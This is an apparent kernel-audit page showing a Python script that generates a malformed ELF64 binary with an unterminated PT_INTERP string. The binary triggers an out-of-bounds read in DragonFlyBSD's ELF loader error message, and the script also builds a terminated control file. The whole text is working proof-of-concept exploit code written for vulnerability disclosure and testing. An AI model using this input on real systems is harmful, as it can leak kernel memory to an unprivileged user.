DragonFlyBSD Kernel Audit
DF-2718 / make_poc.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# DF-2718 PoC generator: ELF64 with a PT_INTERP string that is NOT
# NUL-terminated (p_filesz bytes, none of them NUL).
#
# sys/kern/imgact_elf.c:
#   668:  interp = kmalloc(phdr[i].p_filesz, M_TEMP, M_WAITOK);   <-- exact size, no +1, no M_ZERO
#   1838/1850/1857/1859: bcopy of exactly pathsz bytes, never NUL-terminated
#   844:  uprintf("ELF interpreter %s not found\n", interp);      <-- %s walks past the allocation
#
import struct, sys

PAGE = 4096
INTERP_OFF = 0x800          # within first page
INTERP_LEN = 1024           # == MAXPATHLEN, allowed (check is '> MAXPATHLEN')
FILL = b'A'

def phdr(t, flags, off, vaddr, paddr, filesz, memsz, align):
    return struct.pack('<IIQQQQQQ', t, flags, off, vaddr, paddr, filesz, memsz, align)

PT_LOAD, PT_INTERP = 1, 3
PF_X, PF_W, PF_R = 1, 2, 4

def build(mode):
    # mode: 'unterm' (FILL only, no NUL) | 'term' (control: NUL-terminated)
    text = b'\x90' * 16                     # nops; never reached (interp load fails)
    fsize = 2 * PAGE                        # file: header page + one text page

    e_ident = bytearray(16)
    e_ident[0:4] = b'\x7fELF'
    e_ident[4] = 2                          # ELFCLASS64
    e_ident[5] = 1                          # ELFDATA2LSB
    e_ident[6] = 1                          # EV_CURRENT
    e_ident[7] = 0                          # EI_OSABI = ELFOSABI_NONE -> native DragonFly brand

    phdrs  = phdr(PT_LOAD, PF_R|PF_X, 0, 0x400000, 0, fsize, fsize + PAGE, PAGE)
    phdrs += phdr(PT_INTERP, PF_R, INTERP_OFF, 0, 0, INTERP_LEN, 0, 1)

    ehdr = struct.pack('<16sHHIQQQIHHHHHH',
                       bytes(e_ident),
                       2,                    # e_type = ET_EXEC
                       62,                   # e_machine = EM_X86_64
                       1,                    # e_version
                       0x401000,             # e_entry
                       64,                   # e_phoff
                       0,                    # e_shoff
                       0,                    # e_flags
                       64,                   # e_ehsize
                       56,                   # e_phentsize
                       len(phdrs)//56,       # e_phnum
                       0, 0, 0)              # shentsize/shnum/shstrndx

    img = bytearray(fsize)
    img[0:len(ehdr)] = ehdr
    img[64:64+len(phdrs)] = phdrs
    if mode == 'unterm':
        ibytes = FILL * INTERP_LEN           # NO NUL anywhere
    else:
        ibytes = b'/libexec/ld-elf.so.2' + FILL * (INTERP_LEN - 24) + b'\x00'
    img[INTERP_OFF:INTERP_OFF+INTERP_LEN] = ibytes
    img[PAGE:PAGE+len(text)] = text
    return bytes(img)

if __name__ == '__main__':
    open('poc_unterm', 'wb').write(build('unterm'))
    open('poc_term',   'wb').write(build('term'))
    print('wrote poc_unterm / poc_term')